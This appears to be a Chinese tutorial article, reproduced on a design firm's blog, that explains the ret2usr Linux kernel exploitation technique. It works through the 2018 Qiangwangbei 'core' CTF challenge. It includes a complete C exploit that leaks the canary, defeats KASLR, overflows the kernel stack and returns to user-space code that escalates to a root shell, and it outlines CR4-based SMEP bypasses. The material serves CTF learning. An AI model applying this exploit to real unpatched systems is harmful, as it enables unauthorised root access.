尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

ctf-wiki 内核利用实战:ret2usr 攻击手法解析——以 2018 强网杯 core 为例

ctf-wiki 内核利用实战:ret2usr 攻击手法解析——以 2018 强网杯 core 为例 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载导读ret2usrreturn to user space是 Linux 内核 pwn 中一种经典的控制流劫持提权手法在未开启 SMAP/SMEP 保护的条件下内核对用户空间内存拥有完全的读取与执行权限攻击者因此可以借用内核对用户空间的单向可达性以 ring 0 特权直接跳转到预先布置在用户态的函数指针代码完成提权。本文基于 ctf-wiki 的 ret2usr 文档完整剖析其原理、与常规 Kernel ROP 的差异、2018 强网杯 core 题目的完整 exploit并说明 SMEP/SMAP 与 KPTI 为何宣告这一手法过时。读完本文你将掌握 ret2usr 的完整攻击链路、用户态回归swapgs/iretq技术以及后续衍生绕过方案的脉络。ret2usr 的原理与适用前提在 x86_64 体系下Linux 进程运行在两种特权级中用户态ring 3与内核态ring 0。二者之间存在严格的内存隔离用户空间无法直接访问内核空间的数据这是用户态难以攻击内核的根本原因内核空间则可以访问、甚至执行用户空间的数据——内核在为用户进程提供服务时天然需要读写用户缓冲区例如copy_from_user/copy_to_user。正是这一单向可达性催生了 ret2usr 攻击当内核中存在可利用的漏洞如栈溢出、UAF时攻击者通过Kernel ROP 以 ring 0 特权跳转到用户空间预先构造好的代码去执行提权逻辑而不是在难以构造的内核空间中硬拼一条冗长的 ROP 链。值得注意的是ret2usr 的成立有一个硬性前提内核未开启 SMAPSupervisor Mode Access Prevention与 SMEPSupervisor Mode Execution Prevention。关于 SMEP 的机制CR4 寄存器第 20 位、如何用grep smep /proc/cpuinfo检测、以及在 qemu 启动脚本中通过smep/nosmep开关可以阅读仓库中的 用户代码不可执行SMEP/PXN 一文。若 SMEP 开启内核尝试直接执行用户空间代码会触发页错误page fault导致kernel panic其绕过方式见 bypass-smep本文不再展开。提权目标commit_creds 与 prepare_kernel_cred无论采用 Kernel ROP 还是 ret2usrCTF 内核提权的最终目标都是让当前进程的 cred 结构体获得 root 权限最常用的两条内核 API 是prepare_kernel_cred(NULL)为当前进程构造一个新的、以 init 进程 cred全 0 权限为蓝本的 cred 结构体返回其指针commit_creds(cred)将传入的 cred 指针提交给当前进程从而完成权限替换。二者组合为commit_creds(prepare_kernel_cred(NULL))即完成提权。在 Kernel ROP 文档 中这一调用由内核对 ROP 链通过pop rdi; ret、mov rdi, rax; call rdx等 gadget 完成而在 ret2usr 中这只是一个普通的用户态 C 函数调用void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) prepare_kernel_cred; int (*commit_creds_ptr)(void *) commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); }其中commit_creds、prepare_kernel_cred两个函数地址在运行时从/tmp/kallsyms解析得到细节见下文例题。由于跳转到该函数时 CPU 仍处于 ring 0即便这两个函数位于内核空间我们也能以内核特权正常调用它们。ret2usr 相比构造 ROP 链的核心优势我们只需要提前在用户态程序里构造好对应的函数指针、解析出函数地址然后ret直接回到用户空间执行即可——完全避免了在内核空间大海捞针地寻找 gadget、拼接冗长 ROP 链的繁琐工作。正如原文档总结的一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。例题实战2018 强网杯 core未开 SMAP/SMEP题目环境与启动配置题目提供bzImage压缩内核、core.cpiorootfs、start.shqemu 启动脚本以及带符号表的vmlinux。启动脚本关键配置如下详见 Kernel ROP 文档 的分析qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append root/dev/ram rw consolettyS0 oopspanic panic1 quiet kaslr \ -s \ -netdev user,idt0, -device e1000,netdevt0,idnic0 \ -nographic注意到-append中只有kaslr没有smep/smap这正是 ret2usr 可用的前提。rootfs 的init脚本中有两处关键操作cat /proc/kallsyms /tmp/kallsyms # 把全部内核符号导出到可读文件 echo 1 /proc/sys/kernel/kptr_restrict即内核把所有符号地址保存到了/tmp/kallsyms因此 exploit 可以直接从中读取commit_creds、prepare_kernel_cred的运行时地址后续把kptr_restrict设为 1 已不影响我们。此外init中还有dmesg_restrict与定时关机poweroff -d 120 -f 做题时通常删除定时关机行并重新打包 rootfs。漏洞点速览驱动core.ko通过proc_create(core, ...)注册了/proc/core节点并向用户暴露了四个接口详见 Kernel ROP 文档 的 IDA 逆向core_ioctl()根据命令分发0x6677889B调core_read()0x6677889C设置全局变量off0x6677889A调core_copy_func()core_read()从栈局部缓冲区v4[off]拷贝 64 字节到用户空间——由于off可控可将其设为 640x40泄露出栈上的 canarycanary 位于v4之后 0x40 偏移处即v5 __readgsqword(0x28)的位置core_write()把用户数据拷入全局变量name长度不超过0x800core_copy_func()从name向栈局部缓冲区拷贝a1字节但qmemcpy内部以unsigned __int16处理长度而传入参数是signed __int64——因此传入0xffffffffffff0000 | 0x100即-65280这样的值即可绕过a1 63的检查实现栈溢出。ret2usr 版完整 exploit在原文档中给出了完整的 ret2usr 利用代码其整体攻击流程为内联汇编保存用户态寄存器cs/ss/rsp/rflags为后续从内核态返回用户态做准备打开/proc/core解析/tmp/kallsyms得到commit_creds、prepare_kernel_cred地址并由commit_creds - 0xffffffff8109c8e0算出 kaslr 偏移量offset用于修正内核 gadget 地址通过setOffValue(fd, 64)coreRead泄露出 canary在栈上构造 ROP 链先用 canary 填充 10 个 qword 覆盖到返回地址然后依次布置getRootPrivilige用户态提权函数、swapgs; popfq; ret、iretq与用户态回归帧getRootShell、user_cs、user_rflags、user_sp、user_sswrite(fd, rop_chain, 0x800)写入全局变量name再coreCopyFunc(fd, 0xffffffffffff0000 | 0x100)触发栈溢出控制内核执行流。完整代码如下#include stdio.h #include stdlib.h #include string.h #include unistd.h #include fcntl.h #include sys/types.h #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff813eb448 size_t commit_creds NULL, prepare_kernel_cred NULL; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__(mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags; ); printf(\033[34m\033[1m[*] Status has been saved.\033[0m\n); } void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) prepare_kernel_cred; int (*commit_creds_ptr)(void *) commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } void getRootShell(void) { if(getuid()) { printf(\033[31m\033[1m[x] Failed to get the root!\033[0m\n); exit(-1); } printf(\033[32m\033[1m[] Successful to get the root. Execve root shell now...\033[0m\n); system(/bin/sh); } void coreRead(int fd, char * buf) { ioctl(fd, 0x6677889B, buf); } void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); } void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); } int main(int argc, char ** argv) { printf(\033[34m\033[1m[*] Start to exploit...\033[0m\n); saveStatus(); int fd open(/proc/core, 2); if(fd 0) { printf(\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n); exit(-1); } //get the addr FILE* sym_table_fd fopen(/tmp/kallsyms, r); if(sym_table_fd 0) { printf(\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, %llx%s%s, addr, type, buf)) { if(prepare_kernel_cred commit_creds) break; if(!commit_creds !strcmp(buf, commit_creds)) { commit_creds addr; printf(\033[32m\033[1m[] Successful to get the addr of commit_cread:\033[0m%llx\n, commit_creds); continue; } if(!strcmp(buf, prepare_kernel_cred)) { prepare_kernel_cred addr; printf(\033[32m\033[1m[] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n, prepare_kernel_cred); continue; } } size_t offset commit_creds - 0xffffffff8109c8e0; // get the canary size_t canary; setOffValue(fd, 64); coreRead(fd, buf); canary ((size_t *)buf)[0]; //construct the ropchain size_t rop_chain[0x100], i 0; for(; i 10; i) rop_chain[i] canary; rop_chain[i] (size_t)getRootPrivilige; rop_chain[i] SWAPGS_POPFQ_RET offset; rop_chain[i] 0; rop_chain[i] IRETQ offset; rop_chain[i] (size_t)getRootShell; rop_chain[i] user_cs; rop_chain[i] user_rflags; rop_chain[i] user_sp; rop_chain[i] user_ss; write(fd, rop_chain, 0x800); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100)); }代码要点逐段说明保存用户态上下文saveStatus()通过 Intel 语法内联汇编把cs、ss、rsp、rflags存入全局变量供后续iretq返回用户态时使用。编译时需加-masmintel这是内核 pwn 通用板子Kernel ROP 文档 同时给出了 ATT 语法版本符号解析fscanf逐行解析/tmp/kallsyms按名字匹配commit_creds与prepare_kernel_cred并保存地址offset commit_creds - 0xffffffff8109c8e0即 kaslr 随机化引入的偏移因为 vmlinux 未压缩时的commit_creds静态偏移为0x9c8e0基准0xffffffff81000000canary 泄露setOffValue(fd, 64)把off设为 64coreRead从v4[off]拷贝 64 字节buf[0]正是 canaryROP 链构造先用 10 个 canary 填满栈覆盖至返回地址随后紧跟getRootPrivilige用户态函数地址用SWAPGS_POPFQ_RETIRETQ均已加 kaslr 偏移返回用户态并在iretq帧中依次布置getRootShell、user_cs、user_rflags、user_sp、user_ss。关于返回用户态的原理由内核态返回用户态只需两条指令——swapgs恢复用户态 GS 段寄存器再用iretq或sysretq恢复到用户空间ROP 帧格式为swapgs / iretq / user_shell_addr / user_cs / user_rflags / user_sp / user_ss详见 Kernel ROP 文档。与常规 Kernel ROP 的对比原文档将 ret2usr 做法与 Kernel ROP 文档 中的常规做法做了三点对比是理解二者本质差异的关键符号获取相同都是通过读取/tmp/kallsyms获取commit_creds与prepare_kernel_cred的运行时地址并根据这些偏移确定或修正gadget 的地址canary 泄露相同都是通过控制全局变量off读出 canary攻击流程前半段完全一致ROP 链构造不同核心差异常规 Kernel ROP 通过内核空间的 ROP 链完成commit_creds(prepare_kernel_cred(0))提权之后通过swapgs; iretq等返回到用户态执行用户空间的system(/bin/sh)获取 shellret2usr 做法中直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0))通过函数指针实现来提权。虽然这两个函数位于内核空间但此时 CPU 处于 ring 0 特权因此可以正常调用之后同样通过swapgs; iretq返回到用户态执行system(/bin/sh)。两者的攻击路径对比如下环节常规 Kernel ROPret2usr提权代码位置内核空间的 ROP 链需寻找大量 gadget用户空间构造的函数指针代码提权调用ROP 链调用commit_creds(prepare_kernel_cred(0))直接 ret 到用户态函数执行同一调用返回用户态swapgs; iretqswapgs; iretq复杂度高gadget 拼接繁琐低用户态写代码即可从这两种做法的对比可以体会出之所以要 ret2usr正是因为在一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。为什么 ret2usr 已经是过去式SMEP/SMAP 直接封死执行路径SMEPSupervisor Mode Execution Protection会在 CPU 处于 ring 0 时禁止执行用户空间代码其开关位是 CR4 寄存器的第 20 位SMAP 则进一步禁止内核访问用户空间数据。开启二者后本文所述的 ret2usr 手法会立即触发页错误并导致 kernel panic——bypass-smep 文档 记录了在 qemu 启动脚本中加入-cpu qemu64-v1,smep,smap后直接重跑 ret2usr exp 所看到的崩溃现场当然SMEP/SMAP 本身是可以绕过的通过 ROP 在 CR4 寄存器中清除 SMEP/SMAP 对应位例如用mov cr4, 0x6f0或对mov rax, cr4; ... and rax, rdi等 gadget 组合后即可继续 ret2usr这是 bypass-smep 文档 的主题此处不再赘述。KPTI页表级隔离让 ret2usr 真正退出历史舞台KPTIKernel Page Table Isolation最初是为缓解 KASLR 绕过与 CPU 侧信道攻击Meltdown 类而引入的机制Linux 4.15 引入并反向移植到 4.14.11 / 4.9.75 / 4.4.110详见 KPTI 文档。其核心是用户态与内核态页表彻底分离内核态页表包含用户空间内存页表与内核空间内存页表用户态页表只包含用户空间内存页表及必要的内核空间内存如处理系统调用、中断所需的少量映射。在 x86_64 的 PTI 机制中内核态视角下的用户空间内存映射被全部标记为不可执行NX。这意味着当内核尝试执行用户空间代码时对应页表项没有设置可执行位会直接 panic。即使硬件本身不具备 SMEP 特性开启 KPTI 后也获得了类似 SMEP 的执行防护未开 SMAP 时内核仍可访问用户态内存但不能跳转到用户空间执行 shellcode。因此原文档给出结论实际上 ret2usr 已经是过去式了。在 CTF 内核 pwn 的现代环境默认 KPTI SMEP/SMAP中取而代之的是以下进阶手法均已在仓库中收录bypass-smep通过 ROP 修改 CR4 关闭 SMEP/SMAP复用swapgs_restore_regs_and_return_to_usermode返回用户态ret2dir利用direct mapping area对物理内存的线性映射以内核空间地址访问用户空间数据的方式绕过 SMEP/SMAP/PXN配合 physmap spray 提高命中率ret2ptregs利用系统调用入口压栈形成的pt_regs结构体通过add rsp, val; ret类 gadget 在内核栈上直接构造通用 ROP。总结ret2usr 是 Linux 内核利用史上的经典一课它充分利用内核对用户空间单向可达这一特性把提权代码从难啃的内核空间搬到熟悉的用户空间从而将内核漏洞利用的复杂度大幅降低。2018 强网杯 core 一题更是将 ret2usr 与 canary 泄露、kaslr 偏移计算、swapgs; iretq用户态回归等技术完整串联是入门内核 pwn 不可多得的实战样本。但安全防护的演进SMEP → SMAP → KPTI让 ret2usr 逐步走向终结同时也催生了 bypass-smep、ret2dir、ret2ptregs 等一系列进阶技术。理解 ret2usr 的攻防逻辑是理解现代内核利用技术体系的必要前置无论是修改 CR4 的 ROP、利用线性映射区的 ret2dir还是基于pt_regs的通用 ROP其本质都是在内核对用户空间单向可达这一约束被逐步收紧后寻找新的可达路径。建议读者在掌握本文内容后继续沿着 Kernel ROP → bypass-smep → ret2dir → ret2ptregs 的路线系统学习配合 KPTI 文档 理解防护侧的完整图景。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐ctf-wiki 内核 PwnSMEP/SMAP 防护原理与 ROP 绕过实战强网杯 2018 corectf wiki 内核 PwnSMEP/SMAP 防护原理与 ROP 绕过实战强网杯 2018 core 本文是 ctf wiki 内核 ROP 系列文章文档网络安全教程ctf-wiki 内核态 ROP 提权实战状态保存、swapgs/iretq 返回用户态与强网杯 2018 core 全解析ctf wiki 内核态 ROP 提权实战状态保存、swapgs/iretq 返回用户态与强网杯 2018 core 全解析 本文是 ctf wiki 内核文档网络安全教程CTF-Wiki 格攻击实战用 LLL 构造 FNV 式哈希碰撞2018 网鼎杯 hashcoll 全解析CTF Wiki 格攻击实战用 LLL 构造 FNV 式哈希碰撞2018 网鼎杯 hashcoll 全解析 哈希函数把任意长度的消息压缩成固定长度的摘要文档网络安全教程上一篇DeepSeek-V3.1混合推理革命2025大模型效率新范式下一篇终极指南OneDrive Free Client哈希校验机制深度解析 - CRC32、SHA1与QuickXorHash全方位对比创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表